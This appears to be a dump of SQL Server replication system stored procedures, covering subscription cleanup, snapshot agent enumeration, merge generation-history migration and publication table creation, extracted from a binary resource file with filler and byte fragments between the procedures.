!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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x	<]*%#0S@ 38create procedure sys.sp_MScheckcontext_bypassreplicateddleventbit @is_biton bit output
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @returnbitmask tinyint
        
    select @returnbitmask = 128    
    
    -- get the current context_info. 
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out of the 128 byte array.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    
    -- check whether it has the merge agent bit set.
    select @returnbitmask = (convert(tinyint,@cur_context_first_byte) & @returnbitmask)
    -- set the output param value appropriately.
    select @is_biton = case when @returnbitmask = 0 then 0 else 1 end
    return 0
end
0@ D8,Dh$0%0 D8Ttha4b0Z e8create procedure sys.sp_scriptreconwhereclause 
(
    @src_objid int
    ,@artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
)
as
begin
    declare @this_col int
                ,@art_col int
                ,@spacer nvarchar(10)
                ,@isset int
                ,@is_computed bit
                ,@rc int
                ,@cmd nvarchar(4000)
                ,@colname sysname
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogeneous tinyint

    -- create WHERE clause

    select @art_col = 1
            ,@spacer = N' '
            ,@cmd = N'where'
            ,@pubtypemssqlserver = 1
            ,@pubtypeheterogeneous = 2
    -- prepare cursor based on publisher type
    if (@publishertype = @pubtypemssqlserver)
    begin
        DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
            select column_id, name, is_computed from sys.columns where object_id = @src_objid order by column_id asc
    end
    else if (@publishertype = @pubtypeheterogeneous)
    begin
        DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
            select colid, name, convert(bit,0) from IHsyscolumns where id = @src_objid order by colorder asc
    end
    else
    begin
        raiserror(21402, 16, 5, '@publishertype')
        return 1
    end
    
    OPEN hCColid
    FETCH hCColid INTO @this_col, @colname, @is_computed
    WHILE (@@fetch_status <> -1)
    begin
        exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
        if @isset = 1
        begin
            -- processing a column this is marked for replication and is not computed
            exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            if @isset = 1 
            begin
                -- processing a PK column                    
                select @cmd = @cmd + @spacer + quotename(@colname) + N' = @c' + convert( nvarchar, @art_col ) 
                select @spacer = N' and '

                if len( @cmd ) > 3000
                begin
                    insert into #proctext(procedure_text) values( @cmd )
                    select @cmd = N''
                end
                select @art_col = @art_col + 1
            end
            else
            begin
                --For computed columns that are not primary key columns,
                --the parameter index will not be incremented. This matches
                --the behavior in sp_scriptinsproccore
                if @is_computed = 0
                begin
                    select @art_col = @art_col + 1
                end
            end
        end
        FETCH hCColid INTO @this_col, @colname, @is_computed
    end
    CLOSE hCColid
    DEALLOCATE hCColid

    insert into #proctext(procedure_text) values( @cmd )
end
0u 8--
-- Name: sp_MSsetupnosyncsubwithlsnatdist_cleanup
-- 
-- Description: try to revert the status change of MSsubscription during the execution
-- of MSsubscriptions for the article, and to remove the rows added for the subscription
-- in table MSnosyncsubsetup. The table itself will not be removed just in case it will be
-- used later soon. The cleanup process is in best-effor way, which does not run 
-- under a transaction.
--
-- Security: Procedural security check is performed inside this procedure to
--           ensure that the caller is a member of sysadmin. Execute 
--           permission of this procedure is granted to public. This procedure 
--           is invoked via RPC
--
create procedure sys.sp_MSsetupnosyncsubwithlsnatdist_cleanup
(
    @publisher                              sysname,
    @publisher_db                         sysname,
    @publication                            sysname,
    @article                                   sysname,
    @artid                                     int,
    @subscriber                             sysname,
    @destination_db                       sysname,
    @next_valid_lsn                       binary(10)
)
as
begin
    set nocount on
    declare @publisherid int,
            @subscriberid int,
            @publisher_database_id int,
            @publication_id int

    -- Security check 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089, 16, -1)
        return 1
    end

    -- Obtain Publisher's server id
    select @publisherid = srvid 
      from master.dbo.sysservers
     where upper(srvname) = upper(@publisher) collate database_default
    if @@error<>0 goto Failure

    -- Obtain Subscriber's server id
    select @subscriberid = srvid
      from master.dbo.sysservers
     where upper(srvname) = upper(@subscriber) collate database_default
    if @@error<>0 goto Failure
            
    -- Find out what the publisher database id is
    select @publisher_database_id = id
      from dbo.MSpublisher_databases
     where publisher_db = @publisher_db
       and publisher_id = @publisherid
    if @@error<>0 goto Failure

    -- Obtain the publication id
    select @publication_id = publication_id
      from dbo.MSpublications
     where publisher_id = @publisherid
       and publisher_db = @publisher_db
       and publication = @publication
    if @@error<>0 goto Failure

    -- Deactivate subscriptions in dbo.MSsubscriptions
    update dbo.MSsubscriptions
       set status = 0 --inactive status
     where publisher_database_id = @publisher_database_id
       and publisher_id = @publisherid
       and publisher_db = @publisher_db
       and publication_id = @publication_id
       and subscriber_id = @subscriberid
       and subscriber_db = @destination_db
       and (@article = N'all' or article_id = @artid)
    if @@error<>0 goto Failure

    -- Delete the rows from MSnosyncsubsetup table regarding 
    -- the specified nonsync subscription; we do not remove 
    -- the table itself since it might be useful for future
    -- non-sync subscription.
    if object_id(N'dbo.MSnosyncsubsetup', 'U') is NOT NULL
    begin
        delete dbo.MSnosyncsubsetup 
        where publisher_database_id = @publisher_database_id
          and publication_id = @publication_id
          and artid = @artid
          and next_valid_lsn = @next_valid_lsn
    end
    if @@error<>0 goto Failure

    return 0

Failure:
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<40yy 8
CREATE PROCEDURE sys.sp_MSregister_all_trans_pull_subscriptions AS
begin
    set nocount on
    declare @publisher sysname
    declare @publisher_db sysname
    declare @publication sysname
    declare @distributor sysname
    declare @subscription_id uniqueidentifier
    declare @subscription_type_id int
    declare @update_mode int
    declare @independent_agent_id int
    declare @failover_mode_id int
    declare @retcode int
    declare @dbname sysname

    if object_id(N'dbo.MSreplication_subscriptions', 'U') is NULL
        or object_id(N'dbo.MSsubscription_properties', 'U') is NULL
    begin
        return 0
    end

    select @dbname = db_name()

    -- Register all trans pull subscription
    DECLARE #current_sub CURSOR LOCAL FAST_FORWARD FOR 
        select rs.publisher,rs.publisher_db,rs.publication,sp.distributor,
                rs.update_mode,rs.subscription_type,rs.independent_agent 
        from MSreplication_subscriptions rs
        left outer join MSsubscription_properties sp 
            on (UPPER(rs.publisher) = UPPER(sp.publisher) and rs.publisher_db = sp.publisher_db and rs.publication = sp.publication) 
        where rs.subscription_type <> 0 and sp.enabled_for_syncmgr <> 1

    FOR READ ONLY
    open #current_sub
    fetch #current_sub into @publisher, @publisher_db,@publication,@distributor,@update_mode,@subscription_type_id,@independent_agent_id
    while ( @@fetch_status <> -1 )
    begin

        select @subscription_id = newid()

        if @update_mode in (3,5) 
            select @failover_mode_id = 1
        else if @update_mode in (2,4)
            select @failover_mode_id = 2
        else
            select @failover_mode_id = 0

        exec @retcode = sys.sp_MSregistersubscription @replication_type = 1,
                                        @publisher = @publisher,
                                        @publisher_db = @publisher_db,
                                        @publication = @publication,
                                        @subscriber = @@servername,
                                        @subscriber_db = @dbname,
                                        @subscriber_security_mode = 1,
                                        @distributor = @distributor,
                                        @distributor_security_mode = 1,
                                        @subscription_id = @subscription_id,
                                        @independent_agent = @independent_agent_id,
                                        @subscription_type = @subscription_type_id,
                                        @failover_mode = @failover_mode_id

        IF @@ERROR <> 0 or @retcode <> 0
            return 1

        fetch next from #current_sub into @publisher, @publisher_db,@publication,@distributor,@update_mode,@subscription_type_id,@independent_agent_id

    end

    close #current_sub
    deallocate #current_sub

    return 0
end
0
 P8'h>nV0ƒ D8create procedure sys.sp_MSenum_snapshot
(
    @name nvarchar(100) = '%',
    @show_distdb bit = 0
)
as
begin
    set nocount on

    declare @publisher sysname
    declare @publisher_db sysname
    declare @publication sysname
    declare @publication_id int
    declare @snapshot_agent nvarchar(100)
    declare @status int
    declare @start_time nvarchar(24)
    declare @time nvarchar(24)
    declare @duration int
    declare @comments nvarchar(255)
    declare @delivered_transactions int
    declare @delivered_commands int
    declare @delivery_rate int
    declare @publisher_id smallint
    declare @error_id int
    declare @job_id binary(16)
    declare @local_job bit
    declare @profile_id int
    declare @agent_id int
    declare @last_timestamp binary(8)
    declare @suser_sname sysname
    declare @host_name sysname

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    create table #snapshot_agent (name nvarchar(100) NOT NULL, status int NOT NULL,
        publisher sysname NOT NULL, publisher_db sysname NOT NULL, publication sysname NOT NULL,
        start_time nvarchar(24)  NULL, time nvarchar(24)  NULL, duration int NULL, 
        comments nvarchar(255) NULL, delivered_transactions int NULL, delivered_commands int NULL,
        delivery_rate float  NULL, error_id int NULL, job_id binary(16) NULL, local_job bit NOT NULL,
        profile_id int NOT NULL, agent_id int NOT NULL, last_timestamp binary(8) NOT NULL,
        dynamic_filter_login sysname NULL, dynamic_filter_hostname sysname NULL)
  

    declare hC  CURSOR LOCAL FAST_FORWARD FOR
         select srvname, sa.publisher_db, sa.publication, sa.name, sa.publisher_id,
            sa.local_job, sa.job_id, sa.profile_id, sa.id, 
            sa.dynamic_filter_login, sa.dynamic_filter_hostname
            from
            MSsnapshot_agents sa, master.dbo.sysservers
            where 
            name LIKE @name and
            srvid = sa.publisher_id
        for read only

    OPEN hC
    FETCH hC INTO @publisher, @publisher_db, @publication, @snapshot_agent, @publisher_id,
        @local_job, @job_id, @profile_id, @agent_id, @suser_sname, @host_name
    WHILE (@@fetch_status <> -1)
        begin
     
        -- Get the publication id
        select @publication_id = isnull(publication_id, 0) from dbo.MSpublications where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication
            
        -- Stuff in the values for no history case 
        select @status = 0, 
            @start_time = NULL,
            @time = NULL, @duration = NULL, @comments = NULL,
            @delivered_commands = NULL, 
            @delivery_rate = NULL, 
            @error_id = NULL,
            @last_timestamp = 0x00000000        
       
        -- Get the status of the agent
        select @status = runstatus, 
            @start_time = sys.fn_replformatdatetime(start_time), 
            @time = sys.fn_replformatdatetime(time), 
            @duration = duration, 
            @comments = comments,
            @delivered_transactions = delivered_transactions,
            @delivered_commands = delivered_commands,
            @delivery_rate = delivery_rate, 
            @error_id = error_id, 
            @last_timestamp = timestamp
            from MSsnapshot_history with (READPAST)
            where
            agent_id = @agent_id and
            timestamp = (select top 1 timestamp from MSsnapshot_history with (READPAST) where           
                agent_id = @agent_id
                order by timestamp DESC) 
    
        insert into #snapshot_agent values (@snapshot_agent, @status, @publisher,
            @publisher_db, @publication, @start_time, @time, @duration, @comments,
            @delivered_transactions, @delivered_commands, @delivery_rate, @error_id, @job_id, 
            @local_job, @profile_id, @agent_id, @last_timestamp, @suser_sname, @host_name)

        FETCH hC INTO @publisher, @publisher_db, @publication, @snapshot_agent,
            @publisher_id, @local_job, @job_id, @profile_id, @agent_id, @suser_sname, @host_name
        end

    if @show_distdb = 0
        select * from #snapshot_agent 
    else 
        select 'dbname' = DB_NAME(), * from #snapshot_agent

    drop table #snapshot_agent
    close hC
    deallocate hC
end
0Ҳ D8Eh/!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!fxC
B`	<]	<0 A8create procedure sys.sp_MSmakegenerationidentity as
begin
    declare @retcode int
    declare @old_genhistory_objid binary(16)
    declare @new_genhistory_objid binary(16)
    declare @database_principal sysname
    declare @permission sysname
	declare @cmd nvarchar(1000)

    if object_id('MSmerge_genhistory2') is not NULL
    begin
        drop table dbo.MSmerge_genhistory2
        if @@error <> 0
            return 1
    end

    -- Since an existing bigint column cannot be altered to be a bigint identity,
    -- we have to go through the hoops of creating another table with generation 
    -- as identity, inserting all genhistory rows into this new table, then dropping
    -- the old table, and renaming the new table with the old name.
    create table dbo.MSmerge_genhistory2
    (
        guidsrc         uniqueidentifier     NOT NULL,
        pubid           uniqueidentifier     NULL,
        generation      bigint               identity(1,1) NOT NULL,
        art_nick        int                  NULL,
        -- when the size of nicknames is changed: adjust constants in CMergeDatasource::EnumerateGenerationRange.
        -- it is 1000 bytes in Shiloh, 1001 in Yukon: difference allows to determine whether column upgrade took place.
        nicknames       varbinary(1001)      NOT NULL,    
        coldate         datetime             NOT NULL,
        genstatus       tinyint              NOT NULL default 0, -- 0 = open, 
                                                                 -- 1 = closed and generated locally, 
                                                                 -- 2 = closed and came from elsewhere, 
                                                                 -- 3 = temporarily closed used only by makgeneration
                                                                 -- 4 = generation came from elsewhere and was inserted by merge. is open. possible interrupted generation
        changecount     int                  NOT NULL default 0,
        subscriber_number  int not NULL default 0
    )

    if @@error <> 0
        return 1

    set identity_insert dbo.MSmerge_genhistory2 on

    insert into dbo.MSmerge_genhistory2 (guidsrc, pubid, generation, art_nick, nicknames,
        coldate, genstatus, changecount)
        select guidsrc, pubid, generation, art_nick, nicknames, coldate, genstatus, changecount
            from dbo.MSmerge_genhistory

    if @@error <> 0
        return 1

    --set identity_insert dbo.MSmerge_genhistory off

    create clustered index c1MSmerge_genhistory on MSmerge_genhistory2(generation) 
    if @@ERROR <> 0
        return 1

    -- Only create the index index if guidsrc values are unique. Before SP1 it was possible
    -- for this table to contain dup guidsrc. This happened when the genhistory table was empty to start 
    -- and we insert an initial row (for no article) and then try to insert a row for the first 
    -- article without generating a new guid.  
    if exists ( select guidsrc, pubid 
        from dbo.MSmerge_genhistory2
        group by guidsrc, pubid 
        having count(*) > 1 )
        raiserror (21203, 10, 5, 'MSmerge_genhistory')
    else
    begin
        create unique index unc1MSmerge_genhistory on MSmerge_genhistory2(guidsrc, pubid) 
        if @@ERROR <> 0
            return 1
    end

    create  index nc2MSmerge_genhistory on MSmerge_genhistory2(genstatus, art_nick) 
    if @@ERROR <> 0
        return 1

    CREATE INDEX nc4MSmerge_genhistory ON MSmerge_genhistory2(coldate)        
    if @@ERROR <> 0
        return 1

    begin tran
    save tran renaming_genhistory_table

    select @old_genhistory_objid = object_id('dbo.MSmerge_genhistory')

    -- before dropping this table get all the permissions for it and grant those on the new table
    declare genhistory_permissions cursor LOCAL FAST_FORWARD for
        select perm.permission_name, prin.name from sys.database_permissions perm, sys.database_principals prin
            where perm.major_id = @old_genhistory_objid and perm.grantee_principal_id = prin.principal_id
    open genhistory_permissions
    fetch genhistory_permissions into @permission, @database_principal
    while (@@fetch_status<>-1)
    begin
		select @cmd = 'grant ' + @permission + ' on dbo.MSmerge_genhistory2 to ' + quotename(@database_principal)
        exec(@cmd)
        if @@error<>0
            goto UNDO_cursor
        fetch next from genhistory_permissions into @permission, @database_principal
    end
    close genhistory_permissions
    deallocate genhistory_permissions
            
    drop table dbo.MSmerge_genhistory
    if @@error <> 0
        goto UNDO
    exec @retcode = sys.sp_rename 'MSmerge_genhistory2', 'MSmerge_genhistory'
    if @@error <> 0 or @retcode <> 0
        goto UNDO

    exec dbo.sp_MS_marksystemobject MSmerge_genhistory
    if @@ERROR <> 0
        goto UNDO
        
    -- we need to alter sysmergeschemachange to contain the artid (objid) corresponding to the 
    -- new genhistory table
    select @new_genhistory_objid = object_id('dbo.MSmerge_genhistory')

    update dbo.sysmergeschemachange
        set artid = convert(uniqueidentifier, @new_genhistory_objid)
        where artid = convert(uniqueidentifier, @old_genhistory_objid)

    commit tran
    return 0


UNDO_cursor:
    close genhistory_permissions
    deallocate genhistory_permissions

UNDO:
    if @@trancount > 0
    begin
        rollback tran renaming_genhistory_table
        commit tran
    end

    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<}
. 5R0}@ !8create procedure sys.sp_MSmerge_create_pub_table as

    -- sysmergepublications
    if object_id('dbo.sysmergepublications', 'U') is null
    begin
        create table dbo.sysmergepublications
        (
            publisher               sysname NOT NULL default publishingservername(),
            publisher_db            sysname NOT NULL default db_name(),
            name                    sysname                NOT NULL,
            description             nvarchar(255)         NULL,
            retention               int                    NULL,
            publication_type        tinyint                NULL,
            pubid                   uniqueidentifier     NOT NULL,
            designmasterid          uniqueidentifier     NULL,
            parentid                uniqueidentifier     NULL,
            sync_mode               tinyint                NULL,
            allow_push              int                    NULL,
            allow_pull              int                    NULL,
            allow_anonymous         int                    NULL default 1,
            centralized_conflicts   int                    NULL,
            status                  tinyint                NULL,
            snapshot_ready          tinyint                NULL,
            enabled_for_internet    bit                    NOT NULL default 0,
            dynamic_filters         bit                    NOT NULL default 0,
            -- portable snapshot support
            snapshot_in_defaultfolder   bit             NOT NULL default 1,
            alt_snapshot_folder         nvarchar(255)   NULL,
            -- Pre/post - snapshot commands
            pre_snapshot_script         nvarchar(255)   NULL,
            post_snapshot_script        nvarchar(255)   NULL,
            -- Snapshot compression
            compress_snapshot           bit             NOT NULL default 0,
            -- Post 7.0 Ftp support
            ftp_address                 sysname         NULL,
            ftp_port                    int             NOT NULL default 21,
            ftp_subdirectory            nvarchar(255)   NULL,
            ftp_login                   sysname         NULL default N'anonymous',
            ftp_password                nvarchar(524)   NULL,
            conflict_retention          int             NULL,
            keep_before_values          int             NULL default 0,
            allow_subscription_copy     bit             NULL default 0,     
            allow_synctoalternate       bit             NULL default 0,
            validate_subscriber_info    nvarchar(500)   NULL,
            ad_guidname                 sysname         NULL,
            backward_comp_level         int             not NULL default 10, --7.0 RTM
            max_concurrent_merge        int             not NULL default 0,
            max_concurrent_dynamic_snapshots int        not NULL default 0,
            use_partition_groups        smallint        NULL,
            dynamic_filters_function_list nvarchar(500) NULL,
            partition_id_eval_proc        sysname       NULL,
            publication_number            smallint      identity not null,
            replicate_ddl                 int           not NULL default 0,
            allow_subscriber_initiated_snapshot  bit    not null default 0,
            distributor                   sysname       NULL,
            snapshot_jobid                binary(16)            NULL,
            allow_web_synchronization     bit                NULL default 0,
            web_synchronization_url       nvarchar(500) NULL,
            allow_partition_realignment   bit   null default 1,
            retention_period_unit          tinyint default 0 not null, -- 0=day, 1=week, 2=month, 3=year, 4=hour, 5=minute
            decentralized_conflicts   int                    NULL,
            generation_leveling_threshold	int		NULL default 1000,
            automatic_reinitialization_policy     bit not null default 0 -- no upload first
        )
        if @@ERROR <> 0
        goto Error

        CREATE UNIQUE NONCLUSTERED INDEX nc1sysmergepublications 
        ON sysmergepublications(pubid)
        if @@ERROR <> 0
        goto Error

        exec dbo.sp_MS_marksystemobject sysmergepublications
        if @@ERROR <> 0
        goto Error

        CREATE NONCLUSTERED INDEX nc2sysmergepublications 
        ON sysmergepublications(status)
        if @@ERROR <> 0
        goto Error

    end

    return 0
    
Error:
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<^
^$\B0@ 8CREATE VIEW sys.fulltext_system_stopwords
AS
	SELECT convert(nvarchar(64), stopword) as stopword, language_id FROM OpenRowset(TABLE FTSYSSTPWD) 
0i@ E
8create procedure sys.sp_MSenum_misc_agents
as
begin
    SET NOCOUNT ON

    declare @timestamp timestamp
            ,@curdate datetime

    -- timestamp : Not supported, but returned to be consistent with other sp_MSenum_replication_agent
    -- result set.
    SELECT @timestamp = 0
            ,@curdate = getdate()

    --
    -- return the resultset now
    --
    select j.name, 'agent_type' = c.name,
            -- Job status - check sysjobactivity to see if the job
            -- is currently running or else use the runstatus from
            -- sysjobhistory
            'status' = 
            case when (ja.start_execution_date <= @curdate 
                        and ja.stop_execution_date is null) then 3  
                else
                    case isnull(jh.run_status, 5) -- mapped to never run
                        when 0 then 5   -- Fail mapping
                        when 1 then 2   -- Success mapping
                        when 2 then 5   -- Retry mapping
                        when 3 then 2   -- Shutdown mapping
                        when 4 then 3   -- Inprogress mapping
                        when 5 then 0   -- Unknown is mapped to never run
                    end
            end,
            jh.message, 'start_time' = convert(nvarchar(8), jh.run_date) + N' ' +
                                       stuff(stuff(right(convert(nvarchar(7), jh.run_time + 1000000), 6), 5, 0, N':'), 3, 0, N':') + 
                                       + N'.000',
            jh.run_duration, 
            'job_id' = convert(binary(16), j.job_id), 'local_timestamp' = @timestamp 
    from 
            msdb.dbo.sysjobs AS j
                JOIN msdb.dbo.syscategories AS c 
                    ON j.category_id = c.category_id
                        AND j.category_id in (11, 12,16,17,18)
                -- may or may not have job activity
                LEFT OUTER JOIN msdb.dbo.sysjobactivity AS ja 
                    ON j.job_id = ja.job_id
                        AND ja.session_id = (select max(session_id)
                                            from msdb.dbo.sysjobactivity as ja2)
                -- May or may not have job history
                LEFT OUTER JOIN msdb.dbo.sysjobhistory AS jh 
                    ON j.job_id = jh.job_id 
                        AND jh.instance_id = (select max(instance_id) 
                                            from msdb.dbo.sysjobhistory AS jh2 
                                            where jh2.job_id = j.job_id)
    order by j.job_id asc

end
0آ@ 8
--
-- Name:    
--          sp_ORAposttracertoken
--          
-- Description: 
--          Post a tracer token in HREPL_Event
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Notes:
--			This stored procedure calls HREPL.Trace at the Oracle publisher to
--			post a tracer token to the HREPL_Event table.  When the heterogeneous
--          log reader processes the event table and sees the token, it will enter
--          it into MSrepl_commands.
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAposttracertoken
(
	@publicationID	int,
	@articleID		int,
	@tracercmdtype	int,
	@tracerstr		sysname,
	@publisher		sysname
)
AS
BEGIN
	DECLARE @retcode int

	SET NOCOUNT ON

	-- Define sp_IHquery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	--  Call the remote routine to post the tracer token
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.Trace(')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @publicationID) + N', ')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @articleID) + N', ')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @tracercmdtype) + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@tracerstr, '''') + N' )}')

	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21833, 16, -1, @publisher)
       	RETURN (1)
	END

	RETURN(0)
END	

